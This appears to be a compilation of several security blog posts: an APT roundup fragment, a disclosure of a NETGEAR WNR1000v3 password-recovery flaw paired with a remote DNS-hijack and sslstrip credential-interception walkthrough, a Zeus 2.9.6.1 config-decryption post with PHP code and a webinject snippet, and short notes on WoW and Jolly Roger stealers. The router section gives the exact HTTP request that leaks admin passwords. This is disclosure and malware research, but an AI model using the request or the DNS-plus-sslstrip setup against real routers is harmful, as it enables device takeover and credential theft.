      • Hitmen — Although this analysis is still highly speculative, some threat actors, such as Hidden Lynx, may be “hackers for hire”, tasked with breaking into targets and acquiring specific information. Others, such as IceFog, engage in “hit and run” attacks, including the propagation of malware in a seemingly random fashion. Another group, known as Winnti, tries to profit by targeting gaming companies with malware (PlugX) that is normally associated with APT activity. In one of the weirdest cases I have seen, malware known as “MiniDuke”, which is reminiscent of some “old school” malware developed by 29A, was used in multiple attacks around the world.

      My colleagues at FireEye have put forward some interesting stealthy techniques in the near future. In any case, 2014 will no doubt be another busy year for those of us who research targeted malware attacks.

      MIT(R)M Attacks – Your middle or mine?

      Introduction

      Recently (actually months ago now) my wife went out to see some friends from Church which left me with a couple of hours to kill at home (after I put the kids bed of course). I decided to use this opportunity to look for security vulnerabilities in the wireless router provided by my ISP.

      I installed the latest firmware update on the device and soon discovered a serious vulnerability in the router's password recovery feature (when exploited this vulnerability will display the admin credentials of the router in cleartext).

      Note: At this point some of you might be thinking....siiiiiigghhhhhhh...."so a consumer grade wireless router has a security vulnerability...what's new...most home users don't bother changing the default username and password anyway"...right...but stay with me it gets better.

      I didn't have much time to contact the vendor directly, so I decided to write up a description and send it off to Secunia. After several days I received back the following response:

      We have received your report regarding <censored> wireless
      router. But, unfortunately, we are not able to consider it as a SVCRP [1]
      report as we do not have said device on our premise and subsequently cannot
      confirm the vulnerability within our secure test environment.

      Therefore, we will not process this report. In case you would like these
      issues to be addressed by the vendor, we would like to encourage you to
      report them to the vendor directly.

      Thank you for reporting this to us though. We look forward to receive more
      reports from you.


      What!? Hmmmmm....you know they sell these at Walmart right? Well you can't really blame Secunia, what can you really do with admin access to a home wireless router anyway?  Well...let's take a look....

      Before we delve into this further I should note that I attempted desperately to report the vulnerability to the vendor directly. This process was soooooo insanely difficult that it actually drove me to about 18 seconds of maniacal laughter. I seriously don't know if the internal communication was just horrible (I actually started getting emails back from the vendor addressing me as "Ms. Difrank"), or if they just DO NOT CARE!

      There are actually many different attack vectors that can be leveraged once you compromise a home wireless router (or any router), but in the interest of brevity I just want to discuss one that hasn't been given enough attention (IMO).

      Typically, Man-in-the-Middle (MITM) attacks are launched from "close" range against local networks. One has to ask the question though...where exactly is the "middle"? Without getting too philosophical, I'm going to suggest that the "middle" is relative...it can be any point between the source and the destination.

      With that being said lets see how we can launch a Man-in-the-Relative-Middle attack against users connected to a home wireless router from anywhere in the "middle" (even over the Internet).

      Note: This example focuses on intercepting HTTP/S traffic only.

      Configure A Malicious DNS Server

      First, I configure my laptop as a DNS server that will respond to all DNS requests with my laptop's IP address. There are many different ways/tools to do this, but for this demo I decided to use a simple BIND configuration that will respond to all DNS requests with my laptop IP.

      Note: I don't recommend this technique in an actual Pentest, it's better to target specific domains (facebook, linkedin, google, etc.) 

      1.) Add a new entry into your named.conf.local file for the "root" domain



      2.) Setup a new zone file for the root domain (in this case "db.any") and copy it to the directory specified within your named.conf.options


      After restarting the BIND service any DNS requests submitted to the server will return the IP address of the attacking system (in this case 192.168.1.10)


      Note: I'm using an IP address on the local LAN, when launching this attack over the Internet you would configure this with your public IP.

      Configure sslstrip

       Most sensitive information that traverses the web now days is encrypted using SSL/TLS. Rather than configuring an inline proxy server to intercept HTTP/S requests (which will work but generate certificate errors on the client) I've decided to use one of my favorite tools: "sslstrip".

      Note: If you aren't familiar with sslstrip I encourage you to take a look here

      Typically we would use sslstrip in addition to IP forwarding, ARP spoofing, and port redirection techniques on the local LAN (which is what it was designed for), but it also works pretty well just by kicking it off and sending web traffic directly to it.

      Start sslstrip: 
      sslstrip -l 80 -p -w sslposts.txt


      This will configure sslstrip to listen on tcp port 80 and log all HTTP POSTs to the file sslposts.txt

      Monitor HTTP POSTs:
      tail -f sslposts.txt

      Now that our server is configured, we simply modify the DNS settings on the WAN interface of our target router to point to our malicious server IP.

      All HTTPS requested pages will be transparently replaced with HTTP pages (much more going on under the hood but I want to keep this short and sweet).



      The login credentials can be seen in the HTTP POST log:



      Ok...but how do we change the DNS settings in the router?

      Most Home Internet routers are notorious for having security vulnerabilities. Let's take a look at the vulnerability I discovered and reported back in April 2013 (still vulnerable today).

      The vulnerability I discovered affects NETGEAR N150 wireless routers identified as WNR1000v3. A flaw in the password recovery feature of this device allows an attacker to retrieve the router administrator username and password in cleartext.

      Note:The router is vulnerable EVEN IF PASSWORD RECOVERY IS DISABLED!

      I wrote a quick proof-of-concept script that extracts the username and password from a vulnerable router. I named the script "wnroast" since WNR sounds like "wiener"  to me   :)

      wnroast.py <target ip> <target port>

      Roasting the WNR:


      Doing a Shodanhq search for WNR1000v3 reveals almost 14,000 hits! Imagine a scenario where an exploit for this vulnerability is scripted and hundreds of devices begin using malicious DNS servers, the impact would be severe.

      Again MITRM represents only one of MANY attack vectors that may be taken once an attacker gains control of a home Internet router.

      I should also mention that tools like sslstrip aren't really designed to work over the web so you will notice some pages don't load right or at all without additional customization.

      There is certainly much more that could be said on this topic, but I'm out of time and I need to wrap this up.

      In Closing:

      The following are some recommendations to consider when securing administration access to your home Internet router.

      1. Disable remote administration access (over the web) or at least restrict it to trusted IPs only
      2. Whenever Possible - disable access to the administration page from the Wireless LAN (wired only)
      That's all the time I've got time at this point, let's hope this gets patched soon!

      Special thanks to wildB1ll for helping me test this out!


      WNRoast Download:

      wnroast.py can be downloaded here

      Update (7-5-14): Metasploit aux mod available here

      Full Disclosure Details:


      The following is my original submission to Secunia and NETGEAR disclosing the details of the vulnerability:

      Description: Newer firmware versions of the NETGEAR N150 WNR1000v3 wireless router are affected by a password recovery vulnerability. Exploiting this vulnerability allows an attacker to recover the router's (plaintext) Administrator credentials and subsequently gain full access to the device. This vulnerabilty can be exploited remotely if the remote administration access feature is enabled (as well as locally via wired or wireless access).
      Tested Device Model: NETGEAR N150 WNR1000v3
      Tested Device Firmware Versions: V1.0.2.60_60.0.86 (Latest) and V1.0.2.54_60.0.82NA
      Potential Impacts: Gaining full control over a wireless router exposes multiple attack vectors including: DoS, DNS control (many ways this can be leveraged to exploit clients), access to PPPoE credentials, cleartext WPA/WPA2 PSK (for guest and private network) firewall rule and port forwarding manipulation, etc.
      Overview:
      The password recovery mechanism appears to be designed to work as follows:
      1.) After failing to login the user will be redirected to a password recovery page that requests the router serial number
      2.) If the user enters the serial number correctly, another page will appear that requires the user to correctly answer 2 secret questions
      3.) If the user answers the secret questions correctly, the router username and password is displayed
      The problem: The implementation of this password recovery method has issues...lots of issues
      Vulnerability and Exploit Details:
      1.) Access the router login through a web browser: http://192.168.1.1
      2.) Select "Cancel" on the HTTP basic login box (or enter arbitrary credentials), the router responds with the following (Note the "unauth.cgi?id" parameter):
      ----------------------------------------------------------------------------------------------

      HTTP/1.0 401 Unauthorized

      WWW-Authenticate: Basic realm="NETGEAR WNR1000v3"

      Content-type: text/html
      <html>

      <head>

      <meta http-equiv='Content-Type' content='text/html; charset=utf-8'>

      <title>401 Unauthorized</title></head>

      <body onload="document.aForm.submit()"><h1>401 Unauthorized</h1>

      <p>Access to this resource is denied, your client has not supplied the correct authentication.</p><form method="post" action="unauth.cgi?id=78185530" name="aForm"></form></body>

      </html>
      -------------------------------------------------------------------------------------------------
      3.) Use the unauth.cgi ID parameter to send the following (crafted) HTTP post request:
      -------------------------------------------------------------------------------------------------
      POST http://192.168.1.1/passwordrecovered.cgi?id=78185530 HTTP/1.1
      Accept: text/html, application/xhtml+xml, */*
      Accept-Language: en-US
      User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
      Content-Type: application/x-www-form-urlencoded
      Accept-Encoding: gzip, deflate
      Host: 192.168.1.1
      Content-Length: 35
      Connection: Keep-Alive
      Pragma: no-cache

      -------------------------------------------------------------------------------------------------
      The username and (plaintext) password are returned in the response (truncated for brevity):
      -------------------------------------------------------------------------------------------------
      ...
      <tr>
       <td class="MNUText" align="right">Router Admin Username</td>
       <td class="MNUText" align="left">admin</td>
       </tr>
       <tr>
       <td class="MNUText" align="right">Router Admin Password</td>
       <td class="MNUText" align="left">D0n'tGuessMe!</td>
       </tr>
      ...
      -------------------------------------------------------------------------------------------------















      Decoding Zeus 2.9.6.1 dynamic config

      I got a look on the zeus builder who was released by the MMBB guy on exploit.in, finally i'm decided to write something about it, so let's talk about the change in the config encryption.
      MD5: 0a05783316e7f765e731aadf5098564f

      This version use AES instead of RC4 and can interact with the latest version of Firefox.
      Anyway it's nothing more than a basic Zeus v2.

      iBank parser on the panel, monitoring of process:
      About the panel, the released version require Ioncube loader (nvm, the gate code can be recovered easily)

      Now let's view an example of report from modules, keylog+screenshot:


      Part of the static config (in plain on generated bot):

      Installation process/dynamic config decoding (beware, dubstep):

      And a small code because it's easier to understand:
      <?php
          function decode($data, $key) {
              $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, '');
              $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);
             
              mcrypt_generic_init($td, $key, $iv);
              mcrypt_generic($td, $data);
             
              $data = mdecrypt_generic($td, $data);
             
              mcrypt_generic_deinit($td);
              mcrypt_module_close($td);
             
              return $data;
          }
         
          function visualDecrypt(&$data) {
              $len = strlen($data);
             
              if ($len > 0)
                  for ($i = $len - 1; $i > 0; $i--)
                      $data[$i] = chr(ord($data[$i]) ^ ord($data[$i - 1]));
          }
         
          $data    = file_get_contents('config.bin');
          $key     = md5('hasd7h12g1', true);
          $decoded = decode($data, $key);
         
          visualDecrypt($decoded);
         
          $size = strlen($decoded);
         
          header('Content-Type: application/octet-stream;');
          header('Content-Transfer-Encoding: binary');
          header('Content-Length: ' . $size);
          header('Content-Disposition: attachment; filename=config_decrypted.dll');
          header('Expires: 0');
          header('Cache-Control: no-cache, must-revalidate');
          header('Pragma: no-cache');
         
          echo($decoded);
         
          exit;
      ?>

      You can find the decoded modules here:
      JAVA: 7d7ae6ffbd9f3c7673b339f9b94493e5
      BSS: cc98dabebe047c6115a6cd9d13ed3122
      KEYLOG: 8ac1c7c019d16ff3b8a9543d46ae5e0e

      And if you want to test yourself the WebInject, i usually use this code:
      set_url http://requesttests.appspot.com* GP
      data_before
      </body>
      data_end

      data_inject
      <center><img src="http://temari.fr/webinject.png" alt="Injected!"></center>
      data_end

      data_after
      data_end





      /facepalm

      Troj/WowSpy-A

      Recently a malware who target World of Warcraft got identified.
      This threat is known as Disker, Mal/DllHook-A or Trojan.Siggen5.64266 and can steal player accounts even if they use a Battle.net Authenticator.
      Yes, this is another post about password stealer mawlare...

       There is no option to retain password on the WoW client.

      The method used to spread this malware is by fake websites leading to malicious download.
      The Trojan is bundled with legit programs such as WowMatrix or Curse Client, used by players to manage their AddOns.



      Malicious Wowmatrix installer. (DCDD6986941B2B4E78A558CAB3ACF337)

      Fake sites:
      • dns: 1 ›› ip: 142.4.105.98 - adress: WWW.CURSE.PW
      • dns: 1 ›› ip: 142.4.105.98 - adress: WWW.WOWMATRIX.PW
      • dns: 1 ›› ip: 142.4.105.99 - adress: WWW.WOWMATRIX.PW.PW


      Blizzard released a statement due to this new threat:

      I don't know how work the dll for the moment (at least a bit)
      My debugger got some stability issue when handling wow.exe but i will get back on this, the mechanism seem interesting (and they even use OutputDebugString!).

      Network trafic after login in:

      C&C (in Chinese):

      Compromised accounts:



      That all for the moment :)

      Jolly Roger Stealer

      Friend Kafeine have already do a post on it, although someone recently sent me a url on my cybercrime tracker.. i give a f%$k
      • dns: 1 ›› ip: 178.162.193.24 - adresse: LOADER.ISTMEIN.DE


      Bot statistic:
      CPU "Arhitecture"

      Task:

      Search module:

      HTTP:

      Mail:

      Create task:

      Task statistic:

      I haven't looked at a sample because i don't have it but sound very lame, like Plasma HTTP who grab everything without checking if there is already a double.